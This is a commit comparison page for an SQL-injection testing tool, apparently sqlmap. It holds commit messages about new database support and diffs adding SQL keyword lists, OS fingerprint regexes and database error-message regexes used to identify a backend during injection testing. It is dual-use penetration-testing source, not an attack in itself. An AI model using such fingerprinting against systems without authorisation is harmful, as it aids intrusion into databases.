Compare commits

...
137 Commits
Author SHA1 Message Date
Miroslav Stampar dad4879200 Couple of trivial refactorings 2020-04-03 00:16:38 +02:00
Miroslav Stampar 2cba4e2d78 Minor update 2020-03-26 14:58:58 +01:00
Miroslav Stampar 8ec165d688 Fixes #4144 2020-03-19 11:25:12 +01:00
Miroslav Stampar 492fbae7c5 Fixes #4143 2020-03-18 10:17:58 +01:00
Miroslav Stampar a8d81a7962 Fixes #4141 2020-03-17 11:10:52 +01:00
Miroslav Stampar fcb2a6e111 Patch related to the #4137 2020-03-16 17:31:37 +01:00
Miroslav Stampar 2e7333d7c8 Fixes #4133 2020-03-16 16:56:00 +01:00
Miroslav Stampar 5fd2598da0 Fixes #4136 2020-03-12 22:36:12 +01:00
Miroslav Stampar 111201978c Fixes #4131 2020-03-09 10:44:11 +01:00
Miroslav Stampar 41bdb93655 Fixes #4132 2020-03-09 10:30:24 +01:00
Miroslav Stampar 6cd0b1120f Minor update 2020-03-06 12:26:31 +01:00
Miroslav Stampar 97ccf4ca66 Minor patch 2020-03-06 12:21:26 +01:00
Miroslav Stampar 8cc516dc5f Bug fix (wrong coloring in some cases) 2020-03-05 14:02:27 +01:00
Miroslav Stampar 8e39c6fc3d Minor update 2020-03-04 22:55:35 +01:00
Miroslav Stampar d9e540e8b2 Couple of minor patches 2020-03-04 22:43:50 +01:00
Miroslav Stampar e0ad99d534 Trivial refactoring 2020-03-03 14:40:40 +01:00
Miroslav Stampar 5f5ee6ca68 Fixes #4130 2020-03-03 14:35:38 +01:00
Miroslav Stampar 7a5538ab3e Minor just in case patch 2020-03-03 14:32:01 +01:00
Miroslav Stampar 125de093df Adding support for FrontBase 2020-03-02 12:43:12 +01:00
Miroslav Stampar dc6e7321e9 Cleaning something something 2020-02-28 14:55:48 +01:00
Miroslav Stampar 1023da405a More Python 3.9 fixing (can't wait for Python 10.7) 2020-02-28 14:44:27 +01:00
Miroslav Stampar 013af3235e I would die for Python3(.9) 2020-02-28 14:37:37 +01:00
Miroslav Stampar 2a1e812288 Some more Python 3.9 patching 2020-02-28 14:24:50 +01:00
Miroslav Stampar 44b7cc7d17 Travis patch 2020-02-28 14:11:16 +01:00
Miroslav Stampar 60a2d74f2b Fixes #4126 2020-02-28 14:08:43 +01:00
Miroslav Stampar 83fecfc1ba Minor patch 2020-02-27 14:31:43 +01:00
Miroslav Stampar 86c6e3d5fc Minor adjustment 2020-02-26 21:47:10 +01:00
Miroslav Stampar 5eb2263c42 Adding support for eXtremeDB 2020-02-26 17:33:47 +01:00
Miroslav Stampar 7ff77ef052 Adding support for InterSystems Cache (and IRIS) 2020-02-25 12:36:07 +01:00
Miroslav Stampar 5c82f30fd8 Trivial update 2020-02-18 10:00:23 +01:00
Miroslav Stampar 3f17dc4747 Fixes #4113 2020-02-17 13:48:22 +01:00
Miroslav Stampar e1502e0cea Fixes #4118 2020-02-17 12:24:23 +01:00
Miroslav Stampar c3fe9a0d47 Fixes #4116 2020-02-17 11:50:37 +01:00
Miroslav Stampar f8b2cb5a0a Fixes #4115 2020-02-17 11:43:12 +01:00
Miroslav Stampar 597013477d Minor update 2020-02-13 14:24:53 +01:00
Miroslav Stampar 0453a2827c Couple of patches 2020-02-12 16:21:09 +01:00
Miroslav Stampar 0605f14d87 Couple of fixes for SAP MaxDB 2020-02-11 15:33:17 +01:00
Miroslav Stampar 176e89d978 Minor update 2020-02-10 17:35:38 +01:00
Miroslav Stampar b7cdcebcea Minor patch for HSQLDB 2020-02-10 17:22:36 +01:00
Miroslav Stampar 1fb1a05a78 Couple of patches (CockroachDB, Drizzle, Firebird related) 2020-02-10 16:22:58 +01:00
Miroslav Stampar 2d48b8effa Minor update 2020-02-10 12:57:04 +01:00
Miroslav Stampar 4ef9557ccd Minor update 2020-02-07 16:33:22 +01:00
Miroslav Stampar 3513ca66fe Minor beautification 2020-02-07 14:26:01 +01:00
Miroslav Stampar 6467c63c24 Patch for couple of bugs found during bed-testing 2020-02-07 14:02:45 +01:00
Miroslav Stampar f19f38d1d5 Fixes #4102 2020-02-07 10:12:33 +01:00
Miroslav Stampar a0b279848d Trivial update 2020-02-07 00:30:02 +01:00
Miroslav Stampar ec80009812 Minor refactoring 2020-02-07 00:06:09 +01:00
Miroslav Stampar 19e08416b5 Should fix broken Travis 2020-02-06 22:52:45 +01:00
Miroslav Stampar 6825bf85a4 Debugging broken Travis (2) 2020-02-06 22:44:37 +01:00
Miroslav Stampar 4fa39f4539 Debugging broken Travis 2020-02-06 22:34:59 +01:00
Miroslav Stampar a989e1abfe Minor refactoring 2020-02-06 22:15:31 +01:00
Miroslav Stampar c71bdf5c9e Minor 'patch' for #4095 2020-02-06 14:26:42 +01:00
Miroslav Stampar 1b92acc033 Fixes #4105 2020-02-06 14:20:33 +01:00
Miroslav Stampar f968b23f63 Minor update 2020-02-06 14:17:14 +01:00
Miroslav Stampar 5f39016af7 Adding recognition of Amazon Aurora forks 2020-02-03 22:11:19 +01:00
Miroslav Stampar 1dd400f93d Minor patch 2020-02-03 16:54:00 +01:00
Miroslav Stampar feb1df6a05 Adding support for Apache Ignite (H2 fork) 2020-02-03 13:47:31 +01:00
Miroslav Stampar 4772a9243a Minor update 2020-02-03 11:52:42 +01:00
Miroslav Stampar 8649021b78 Adding support for Drizzle (MySQL fork) 2020-02-03 11:46:03 +01:00
Miroslav Stampar 9d6c931faa Finalizing support for Cubrid 2020-02-03 11:33:19 +01:00
Miroslav Stampar 264a270985 Adding initial support for Cubrid 2020-02-03 01:58:12 +01:00
Miroslav Stampar 4278bbce11 Patch for sporadic --parse-errors in generic SQL errors (e.g. CrateDB) 2020-02-02 22:01:57 +01:00
Miroslav Stampar db126af86a Minor generalization for special cases 2020-02-02 21:07:53 +01:00
Miroslav Stampar 18b72e605a Trivial update 2020-02-02 14:59:13 +01:00
Miroslav Stampar 0e4232f533 Adding support for CrateDB 2020-02-02 14:51:24 +01:00
Miroslav Stampar e448905eb1 Fixes #4085 2020-02-01 15:30:01 +01:00
Miroslav Stampar ee7aa68da8 Trivial patch for #4099 2020-02-01 14:39:11 +01:00
Miroslav Stampar 2fc4d17cbc Update regarding #4099 2020-02-01 14:36:27 +01:00
elias 93aa981e4f Add link of persian (#4099)
* Add the persian translations

* Update README-fa-FA.md

* Update README-fa-FA.md

* Update README-fa-FA.md

* Update README-fa-FA.md

* add to persian translations

HI 
please add to persian translations
regard: elias rohani

* Add link of persian

* Revert "Add link of persian"

* Revert "Add link of persian"
2020-02-01 14:28:16 +01:00
Miroslav Stampar a4cb6dbb00 Fixes #4093 2020-01-31 22:37:39 +01:00
Miroslav Stampar 4e3af35ceb Fixes #4096 2020-01-31 21:51:02 +01:00
Miroslav Stampar 5d7b7d6bca Couple of patches 2020-01-31 21:24:20 +01:00
Miroslav Stampar 8ab4f6214f Adding recognition of Greenplum (pgsql fork) 2020-01-31 13:01:15 +01:00
Miroslav Stampar 8d343fc2a6 Adding support for Amazon Redshift (pgsql fork) 2020-01-31 11:39:16 +01:00
Miroslav Stampar 421f1878e3 Adding support for MimerSQL 2020-01-31 11:33:31 +01:00
Miroslav Stampar f21388d550 Minor optimization 2020-01-28 10:01:21 +01:00
Miroslav Stampar f38a2c2028 Minor refactoring 2020-01-28 09:42:00 +01:00
Miroslav Stampar 22bf77161a Trivial update 2020-01-28 00:00:06 +01:00
Miroslav Stampar 186b3920e7 Adding support for Percona (MySQL) fork 2020-01-27 23:47:47 +01:00
Miroslav Stampar d227413a14 Adding support for Altibase 2020-01-27 17:32:31 +01:00
Miroslav Stampar 70df6d8b22 Minor update 2020-01-27 12:20:29 +01:00
Miroslav Stampar 6d05985aef Older Python versions have problems with chunking 2020-01-27 12:09:14 +01:00
Miroslav Stampar 8c57b9cd4c Fixes Python3 support for --chunked (drei) 2020-01-27 11:32:05 +01:00
Miroslav Stampar 4cf14c80eb Fixes #4086 2020-01-27 01:07:15 +01:00
Miroslav Stampar 615ac3b733 Minor optimizations 2020-01-25 23:37:57 +01:00
Miroslav Stampar b2d6ab2949 Minor update 2020-01-25 17:15:11 +01:00
Miroslav Stampar 39be0f30d8 Adding recognition of Azure 2020-01-25 16:49:32 +01:00
Miroslav Stampar 6f54be987f Minor modification 2020-01-25 16:33:48 +01:00
Miroslav Stampar 35fa710eed Fixes #4084 2020-01-24 12:38:25 +01:00
Miroslav Stampar f2518f7112 Trivial update 2020-01-23 23:36:28 +01:00
Miroslav Stampar 3779531540 Adding support for TiDB 2020-01-23 23:27:33 +01:00
Miroslav Stampar 447e5ec0ea Trivial patch 2020-01-23 22:18:53 +01:00
Miroslav Stampar d5fab1907d Adding support for Presto 2020-01-23 16:59:02 +01:00
Miroslav Stampar ec4880e0e1 Fixes #4083 (drei) 2020-01-23 13:30:20 +01:00
Miroslav Stampar 984808cc26 Fixes #4081 2020-01-23 11:55:41 +01:00
Miroslav Stampar 6b1f4965ed Fixes #4082 2020-01-23 11:46:17 +01:00
Miroslav Stampar e8be9e4af4 Better patch (related to previous one) 2020-01-23 10:57:35 +01:00
Miroslav Stampar 5b1574614d Minor patch 2020-01-23 10:53:06 +01:00
Miroslav Stampar 2c19d16830 Patch for Python 2.6 compatibility 2020-01-23 04:02:07 +01:00
Miroslav Stampar 60b642e2bd Adding support for Mckoi 2020-01-22 23:41:06 +01:00
Miroslav Stampar 20700fd6b9 Adding support for CockroachDB (Postgres fork) 2020-01-21 23:19:11 +01:00
Miroslav Stampar 4be7c7dcee Trivial patch 2020-01-21 22:29:26 +01:00
Miroslav Stampar 5ab2dfd0d9 Adding support for Vertica 2020-01-21 15:40:59 +01:00
Miroslav Stampar f0f1cf1b21 Minor patch 2020-01-21 11:18:34 +01:00
Miroslav Stampar b25181f061 Adding support for MemSQL (MySQL fork) 2020-01-20 23:11:37 +01:00
Miroslav Stampar 9f85412017 Fixes #4080 2020-01-20 16:11:12 +01:00
Miroslav Stampar 4c804a3fd6 Adding support for Apache Derby 2020-01-20 15:33:45 +01:00
Miroslav Stampar d7a56017bf Trivial update 2020-01-18 07:54:03 +01:00
Miroslav Stampar ef59a365f4 Fix for broken build 2020-01-17 17:22:50 +01:00
Miroslav Stampar 1087396d88 Adding support for MonetDB 2020-01-17 17:14:41 +01:00
Miroslav Stampar 1cfe370276 More refactoring for #4077 2020-01-15 22:47:06 +01:00
Miroslav Stampar 3776f2eeea Minor refactoring for #4077 2020-01-15 22:38:34 +01:00
Tomas Zellerin a6c26fe792 Python 3 binary-character fixes for two urllib requests (#4077)
* Fix python3 binary - character mismatch in api.py

Convert between text and binary data in api.py call to urllib.request
and response from it.

In python3 sqlmapapi -c it fixes, at least
- not nice output from log/list commands
- any command that POSTs data (including new) crashing sqlmapapi

* Fix python3 binary - character mismatch in search.py

Before:
python3 sqlmap.py -g <long random string>
(...)
[18:35:17] [INFO] using search result page #1
no usable links found. What do you want to do?
[1] (re)try with DuckDuckGo (default)
[2] (re)try with Bing
[3] quit
> 1
[18:35:21] [CRITICAL] unable to connect

After:
python3 sqlmap.py -g asfafw2fwesvzsdvaw
(...)
[18:37:30] [INFO] using search result page #1
no usable links found. What do you want to do?
[1] (re)try with DuckDuckGo (default)
[2] (re)try with Bing
[3] quit
> 1
[18:37:34] [INFO] found 26 results for your search dork expression, 16 of them are testable targets
[18:37:34] [INFO] found a total of 16 targets
URL 1:
GET https:...
do you want to test this URL? [Y/n/q]
2020-01-15 22:36:49 +01:00
Miroslav Stampar c082067902 Removing some dead code (vulture) 2020-01-10 11:44:24 +01:00
Miroslav Stampar e37c22793b Patch related to #4070 2020-01-10 11:09:20 +01:00
Miroslav Stampar 14005f476d Minor bug fix 2020-01-09 13:19:54 +01:00
Miroslav Stampar eb3a3b4825 Patch regarding #4066 2020-01-09 11:59:50 +01:00
Miroslav Stampar 71b33e5956 Minor patch 2020-01-09 11:36:19 +01:00
Miroslav Stampar ab203c1ec5 Couple of fixes (--check-internet) and updates 2020-01-09 11:25:09 +01:00
Miroslav Stampar e7dd7e2d48 Trivial refactoring 2020-01-08 10:53:08 +01:00
Miroslav Stampar 89aff21fb6 Minor patch 2020-01-08 10:43:11 +01:00
Miroslav Stampar c95c370254 Couple of patches 2020-01-08 10:37:59 +01:00
Miroslav Stampar 239e4d7927 Minor patch 2020-01-08 00:11:13 +01:00
Miroslav Stampar dbebb34bc8 Trivial patch 2020-01-08 00:01:15 +01:00
Miroslav Stampar 0e9dd9b0be Some testing stuff 2020-01-07 23:49:45 +01:00
Miroslav Stampar 57f17794c4 Adding support for all_proxy (#91) 2020-01-07 21:08:18 +01:00
Miroslav Stampar 7a0a4c28e5 Minor update 2020-01-07 11:48:02 +01:00
Miroslav Stampar 0ea39098bd Fixes #4063 2020-01-07 09:31:54 +01:00
Miroslav Stampar 49afd47c13 Trivial update (year bump) 2020-01-05 22:56:10 +01:00
Miroslav Stampar dc9e2df3c6 Minor update 2020-01-05 22:51:31 +01:00
Miroslav Stampar 3a048a9e67 Trivial cleanup 2020-01-05 22:46:16 +01:00
Miroslav Stampar 6b45199766 Removing obsolete code 2020-01-05 22:43:25 +01:00
Miroslav Stampar bb51c0e41e Minor update 2020-01-03 14:03:01 +01:00
Miroslav Stampar 5d62195a41 Minor update of testing 2020-01-03 13:46:12 +01:00
Miroslav Stampar 8ace3363bd Trivial update 2020-01-01 14:04:01 +01:00
Miroslav Stampar 4606d5afd5 Copyright year bump 2020-01-01 14:02:52 +01:00
Miroslav Stampar e9ec443a8a First dummy 2020 commit 2020-01-01 13:30:20 +01:00
166 changed files with 6747 additions and 4565 deletions
+2 -2
View File
@@ -9,8 +9,8 @@ jobs:
dist: trusty
- python: 3.6
dist: trusty
- python: 3.8
dist: xenial
- python: 3.9-dev
dist: bionic
sudo: false
git:
depth: 1
+1
View File
@@ -64,6 +64,7 @@ Translations
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
+1
View File
@@ -442,6 +442,7 @@ exchange
Status
WORKS_ON
lines
testusers
booleantests
QRTZ_SIMPLE_TRIGGERS
mobile_menu
+750
View File
@@ -259,6 +259,7 @@ YEAR
ZONE
# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html)
ADD
ALL
ALTER
@@ -450,3 +451,752 @@ WITH
WRITEXOR
YEAR_MONTH
ZEROFILL
# PostgreSQL keywords (reference: https://www.postgresql.org/docs/9.3/sql-keywords-appendix.html)
A
ABORT
ABS
ABSENT
ABSOLUTE
ACCESS
ACCORDING
ACTION
ADA
ADD
ADMIN
AFTER
AGGREGATE
ALL
ALLOCATE
ALSO
ALTER
ALWAYS
ANALYSE
ANALYZE
AND
ANY
ARE
ARRAY
ARRAY_AGG
ARRAY_MAX_CARDINALITY
AS
ASC
ASENSITIVE
ASSERTION
ASSIGNMENT
ASYMMETRIC
AT
ATOMIC
ATTRIBUTE
ATTRIBUTES
AUTHORIZATION
AVG
BACKWARD
BASE64
BEFORE
BEGIN
BEGIN_FRAME
BEGIN_PARTITION
BERNOULLI
BETWEEN
BIGINT
BINARY
BIT
BIT_LENGTH
BLOB
BLOCKED
BOM
BOOLEAN
BOTH
BREADTH
BY
C
CACHE
CALL
CALLED
CARDINALITY
CASCADE
CASCADED
CASE
CAST
CATALOG
CATALOG_NAME
CEIL
CEILING
CHAIN
CHAR
CHARACTER
CHARACTERISTICS
CHARACTERS
CHARACTER_LENGTH
CHARACTER_SET_CATALOG
CHARACTER_SET_NAME
CHARACTER_SET_SCHEMA
CHAR_LENGTH
CHECK
CHECKPOINT
CLASS
CLASS_ORIGIN
CLOB
CLOSE
CLUSTER
COALESCE
COBOL
COLLATE
COLLATION
COLLATION_CATALOG
COLLATION_NAME
COLLATION_SCHEMA
COLLECT
COLUMN
COLUMNS
COLUMN_NAME
COMMAND_FUNCTION
COMMAND_FUNCTION_CODE
COMMENT
COMMENTS
COMMIT
COMMITTED
CONCURRENTLY
CONDITION
CONDITION_NUMBER
CONFIGURATION
CONNECT
CONNECTION
CONNECTION_NAME
CONSTRAINT
CONSTRAINTS
CONSTRAINT_CATALOG
CONSTRAINT_NAME
CONSTRAINT_SCHEMA
CONSTRUCTOR
CONTAINS
CONTENT
CONTINUE
CONTROL
CONVERSION
CONVERT
COPY
CORR
CORRESPONDING
COST
COUNT
COVAR_POP
COVAR_SAMP
CREATE
CROSS
CSV
CUBE
CUME_DIST
CURRENT
CURRENT_CATALOG
CURRENT_DATE
CURRENT_DEFAULT_TRANSFORM_GROUP
CURRENT_PATH
CURRENT_ROLE
CURRENT_ROW
CURRENT_SCHEMA
CURRENT_TIME
CURRENT_TIMESTAMP
CURRENT_TRANSFORM_GROUP_FOR_TYPE
CURRENT_USER
CURSOR
CURSOR_NAME
CYCLE
DATA
DATABASE
DATALINK
DATE
DATETIME_INTERVAL_CODE
DATETIME_INTERVAL_PRECISION
DAY
DB
DEALLOCATE
DEC
DECIMAL
DECLARE
DEFAULT
DEFAULTS
DEFERRABLE
DEFERRED
DEFINED
DEFINER
DEGREE
DELETE
DELIMITER
DELIMITERS
DENSE_RANK
DEPTH
DEREF
DERIVED
DESC
DESCRIBE
DESCRIPTOR
DETERMINISTIC
DIAGNOSTICS
DICTIONARY
DISABLE
DISCARD
DISCONNECT
DISPATCH
DISTINCT
DLNEWCOPY
DLPREVIOUSCOPY
DLURLCOMPLETE
DLURLCOMPLETEONLY
DLURLCOMPLETEWRITE
DLURLPATH
DLURLPATHONLY
DLURLPATHWRITE
DLURLSCHEME
DLURLSERVER
DLVALUE
DO
DOCUMENT
DOMAIN
DOUBLE
DROP
DYNAMIC
DYNAMIC_FUNCTION
DYNAMIC_FUNCTION_CODE
EACH
ELEMENT
ELSE
EMPTY
ENABLE
ENCODING
ENCRYPTED
END
END-EXEC
END_FRAME
END_PARTITION
ENFORCED
ENUM
EQUALS
ESCAPE
EVENT
EVERY
EXCEPT
EXCEPTION
EXCLUDE
EXCLUDING
EXCLUSIVE
EXEC
EXECUTE
EXISTS
EXP
EXPLAIN
EXPRESSION
EXTENSION
EXTERNAL
EXTRACT
FALSE
FAMILY
FETCH
FILE
FILTER
FINAL
FIRST
FIRST_VALUE
FLAG
FLOAT
FLOOR
FOLLOWING
FOR
FORCE
FOREIGN
FORTRAN
FORWARD
FOUND
FRAME_ROW
FREE
FREEZE
FROM
FS
FULL
FUNCTION
FUNCTIONS
FUSION
G
GENERAL
GENERATED
GET
GLOBAL
GO
GOTO
GRANT
GRANTED
GREATEST
GROUP
GROUPING
GROUPS
HANDLER
HAVING
HEADER
HEX
HIERARCHY
HOLD
HOUR
ID
IDENTITY
IF
IGNORE
ILIKE
IMMEDIATE
IMMEDIATELY
IMMUTABLE
IMPLEMENTATION
IMPLICIT
IMPORT
IN
INCLUDING
INCREMENT
INDENT
INDEX
INDEXES
INDICATOR
INHERIT
INHERITS
INITIALLY
INLINE
INNER
INOUT
INPUT
INSENSITIVE
INSERT
INSTANCE
INSTANTIABLE
INSTEAD
INT
INTEGER
INTEGRITY
INTERSECT
INTERSECTION
INTERVAL
INTO
INVOKER
IS
ISNULL
ISOLATION
JOIN
K
KEY
KEY_MEMBER
KEY_TYPE
LABEL
LAG
LANGUAGE
LARGE
LAST
LAST_VALUE
LATERAL
LC_COLLATE
LC_CTYPE
LEAD
LEADING
LEAKPROOF
LEAST
LEFT
LENGTH
LEVEL
LIBRARY
LIKE
LIKE_REGEX
LIMIT
LINK
LISTEN
LN
LOAD
LOCAL
LOCALTIME
LOCALTIMESTAMP
LOCATION
LOCATOR
LOCK
LOWER
M
MAP
MAPPING
MATCH
MATCHED
MATERIALIZED
MAX
MAXVALUE
MAX_CARDINALITY
MEMBER
MERGE
MESSAGE_LENGTH
MESSAGE_OCTET_LENGTH
MESSAGE_TEXT
METHOD
MIN
MINUTE
MINVALUE
MOD
MODE
MODIFIES
MODULE
MONTH
MORE
MOVE
MULTISET
MUMPS
NAME
NAMES
NAMESPACE
NATIONAL
NATURAL
NCHAR
NCLOB
NESTING
NEW
NEXT
NFC
NFD
NFKC
NFKD
NIL
NO
NONE
NORMALIZE
NORMALIZED
NOT
NOTHING
NOTIFY
NOTNULL
NOWAIT
NTH_VALUE
NTILE
NULL
NULLABLE
NULLIF
NULLS
NUMBER
NUMERIC
OBJECT
OCCURRENCES_REGEX
OCTETS
OCTET_LENGTH
OF
OFF
OFFSET
OIDS
OLD
ON
ONLY
OPEN
OPERATOR
OPTION
OPTIONS
OR
ORDER
ORDERING
ORDINALITY
OTHERS
OUT
OUTER
OUTPUT
OVER
OVERLAPS
OVERLAY
OVERRIDING
OWNED
OWNER
P
PAD
PARAMETER
PARAMETER_MODE
PARAMETER_NAME
PARAMETER_ORDINAL_POSITION
PARAMETER_SPECIFIC_CATALOG
PARAMETER_SPECIFIC_NAME
PARAMETER_SPECIFIC_SCHEMA
PARSER
PARTIAL
PARTITION
PASCAL
PASSING
PASSTHROUGH
PASSWORD
PATH
PERCENT
PERCENTILE_CONT
PERCENTILE_DISC
PERCENT_RANK
PERIOD
PERMISSION
PLACING
PLANS
PLI
PORTION
POSITION
POSITION_REGEX
POWER
PRECEDES
PRECEDING
PRECISION
PREPARE
PREPARED
PRESERVE
PRIMARY
PRIOR
PRIVILEGES
PROCEDURAL
PROCEDURE
PROGRAM
PUBLIC
QUOTE
RANGE
RANK
READ
READS
REAL
REASSIGN
RECHECK
RECOVERY
RECURSIVE
REF
REFERENCES
REFERENCING
REFRESH
REGR_AVGX
REGR_AVGY
REGR_COUNT
REGR_INTERCEPT
REGR_R2
REGR_SLOPE
REGR_SXX
REGR_SXY
REGR_SYY
REINDEX
RELATIVE
RELEASE
RENAME
REPEATABLE
REPLACE
REPLICA
REQUIRING
RESET
RESPECT
RESTART
RESTORE
RESTRICT
RESULT
RETURN
RETURNED_CARDINALITY
RETURNED_LENGTH
RETURNED_OCTET_LENGTH
RETURNED_SQLSTATE
RETURNING
RETURNS
REVOKE
RIGHT
ROLE
ROLLBACK
ROLLUP
ROUTINE
ROUTINE_CATALOG
ROUTINE_NAME
ROUTINE_SCHEMA
ROW
ROWS
ROW_COUNT
ROW_NUMBER
RULE
SAVEPOINT
SCALE
SCHEMA
SCHEMA_NAME
SCOPE
SCOPE_CATALOG
SCOPE_NAME
SCOPE_SCHEMA
SCROLL
SEARCH
SECOND
SECTION
SECURITY
SELECT
SELECTIVE
SELF
SENSITIVE
SEQUENCE
SEQUENCES
SERIALIZABLE
SERVER
SERVER_NAME
SESSION
SESSION_USER
SET
SETOF
SETS
SHARE
SHOW
SIMILAR
SIMPLE
SIZE
SMALLINT
SNAPSHOT
SOME
SOURCE
SPACE
SPECIFIC
SPECIFICTYPE
SPECIFIC_NAME
SQL
SQLCODE
SQLERROR
SQLEXCEPTION
SQLSTATE
SQLWARNING
SQRT
STABLE
STANDALONE
START
STATE
STATEMENT
STATIC
STATISTICS
STDDEV_POP
STDDEV_SAMP
STDIN
STDOUT
STORAGE
STRICT
STRIP
STRUCTURE
STYLE
SUBCLASS_ORIGIN
SUBMULTISET
SUBSTRING
SUBSTRING_REGEX
SUCCEEDS
SUM
SYMMETRIC
SYSID
SYSTEM
SYSTEM_TIME
SYSTEM_USER
T
TABLE
TABLES
TABLESAMPLE
TABLESPACE
TABLE_NAME
TEMP
TEMPLATE
TEMPORARY
TEXT
THEN
TIES
TIME
TIMESTAMP
TIMEZONE_HOUR
TIMEZONE_MINUTE
TO
TOKEN
TOP_LEVEL_COUNT
TRAILING
TRANSACTION
TRANSACTIONS_COMMITTED
TRANSACTIONS_ROLLED_BACK
TRANSACTION_ACTIVE
TRANSFORM
TRANSFORMS
TRANSLATE
TRANSLATE_REGEX
TRANSLATION
TREAT
TRIGGER
TRIGGER_CATALOG
TRIGGER_NAME
TRIGGER_SCHEMA
TRIM
TRIM_ARRAY
TRUE
TRUNCATE
TRUSTED
TYPE
TYPES
UESCAPE
UNBOUNDED
UNCOMMITTED
UNDER
UNENCRYPTED
UNION
UNIQUE
UNKNOWN
UNLINK
UNLISTEN
UNLOGGED
UNNAMED
UNNEST
UNTIL
UNTYPED
UPDATE
UPPER
URI
USAGE
USER
USER_DEFINED_TYPE_CATALOG
USER_DEFINED_TYPE_CODE
USER_DEFINED_TYPE_NAME
USER_DEFINED_TYPE_SCHEMA
USING
VACUUM
VALID
VALIDATE
VALIDATOR
VALUE
VALUES
VALUE_OF
VARBINARY
VARCHAR
VARIADIC
VARYING
VAR_POP
VAR_SAMP
VERBOSE
VERSION
VERSIONING
VIEW
VOLATILE
WHEN
WHENEVER
WHERE
WHITESPACE
WIDTH_BUCKET
WINDOW
WITH
WITHIN
WITHOUT
WORK
WRAPPER
WRITE
XML
XMLAGG
XMLATTRIBUTES
XMLBINARY
XMLCAST
XMLCOMMENT
XMLCONCAT
XMLDECLARATION
XMLDOCUMENT
XMLELEMENT
XMLEXISTS
XMLFOREST
XMLITERATE
XMLNAMESPACES
XMLPARSE
XMLPI
XMLQUERY
XMLROOT
XMLSCHEMA
XMLSERIALIZE
XMLTABLE
XMLTEXT
XMLVALIDATE
YEAR
YES
ZONE
+16
View File
@@ -83,6 +83,10 @@
<info type="Linux"/>
</regexp>
<regexp value="\bArch\b">
<info type="Linux" distrib="Arch"/>
</regexp>
<regexp value="CentOS">
<info type="Linux" distrib="CentOS"/>
</regexp>
@@ -115,10 +119,22 @@
<info type="Linux" distrib="Mandrake"/>
</regexp>
<regexp value="Manjaro">
<info type="Linux" distrib="Manjaro"/>
</regexp>
<regexp value="Mandriva">
<info type="Linux" distrib="Mandriva"/>
</regexp>
<regexp value="\bMint\b">
<info type="Linux" distrib="Mint"/>
</regexp>
<regexp value="\bPuppy\b">
<info type="Linux" distrib="Puppy"/>
</regexp>
<regexp value="Red[\-\_\ ]?Hat">
<info type="Linux" distrib="Red Hat"/>
</regexp>
+64 -16
View File
@@ -1,13 +1,14 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<!-- MySQL -->
<dbms value="MySQL">
<error regexp="SQL syntax.*?MySQL"/>
<error regexp="Warning.*?\Wmysqli?_"/>
<error regexp="MySQLSyntaxErrorException"/>
<error regexp="valid MySQL result"/>
<error regexp="check the manual that (corresponds to|fits) your (MySQL|MariaDB) server version"/>
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
<error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/>
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
<error regexp="MySqlClient\."/>
<error regexp="com\.mysql\.jdbc"/>
@@ -15,9 +16,11 @@
<error regexp="Pdo[./_\\]Mysql"/>
<error regexp="MySqlException"/>
<error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
<error regexp="is not supported by MemSQL" fork="MemSQL"/>
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
</dbms>
<!-- PostgreSQL -->
<dbms value="PostgreSQL">
<error regexp="PostgreSQL.*?ERROR"/>
<error regexp="Warning.*?\Wpg_"/>
@@ -33,7 +36,6 @@
<error regexp="PSQLException"/>
</dbms>
<!-- Microsoft SQL Server -->
<dbms value="Microsoft SQL Server">
<error regexp="Driver.*? SQL[\-\_\ ]*Server"/>
<error regexp="OLE DB.*? SQL Server"/>
@@ -55,7 +57,6 @@
<error regexp="SQL(Srv|Server)Exception"/>
</dbms>
<!-- Microsoft Access -->
<dbms value="Microsoft Access">
<error regexp="Microsoft Access (\d+ )?Driver"/>
<error regexp="JET Database Engine"/>
@@ -64,7 +65,6 @@
<error regexp="Syntax error \(missing operator\) in query expression"/>
</dbms>
<!-- Oracle -->
<dbms value="Oracle">
<error regexp="\bORA-\d{5}"/>
<error regexp="Oracle error"/>
@@ -79,7 +79,6 @@
<error regexp="OracleException"/>
</dbms>
<!-- IBM DB2 -->
<dbms value="IBM DB2">
<error regexp="CLI Driver.*?DB2"/>
<error regexp="DB2 SQL error"/>
@@ -89,9 +88,9 @@
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
<error regexp="Pdo[./_\\]Ibm"/>
<error regexp="DB2Exception"/>
<error regexp="ibm_db_dbi\.ProgrammingError"/>
</dbms>
<!-- Informix -->
<dbms value="Informix">
<error regexp="Warning.*?\Wifx_"/>
<error regexp="Exception.*?Informix"/>
@@ -111,7 +110,6 @@
<error regexp="Pdo[./_\\]Firebird"/>
</dbms>
<!-- SQLite -->
<dbms value="SQLite">
<error regexp="SQLite/JDBCDriver"/>
<error regexp="SQLite\.Exception"/>
@@ -126,15 +124,15 @@
<error regexp="SQLiteException"/>
</dbms>
<!-- SAP MaxDB -->
<dbms value="SAP MaxDB">
<error regexp="SQL error.*?POS([0-9]+)"/>
<error regexp="Warning.*?\Wmaxdb_"/>
<error regexp="DriverSapDB"/>
<error regexp="-3014.*?Invalid end of SQL statement"/>
<error regexp="com\.sap\.dbtech\.jdbc"/>
<error regexp="\[-3008\].*?: Invalid keyword or missing delimiter"/>
</dbms>
<!-- Sybase -->
<dbms value="Sybase">
<error regexp="Warning.*?\Wsybase_"/>
<error regexp="Sybase message"/>
@@ -144,7 +142,6 @@
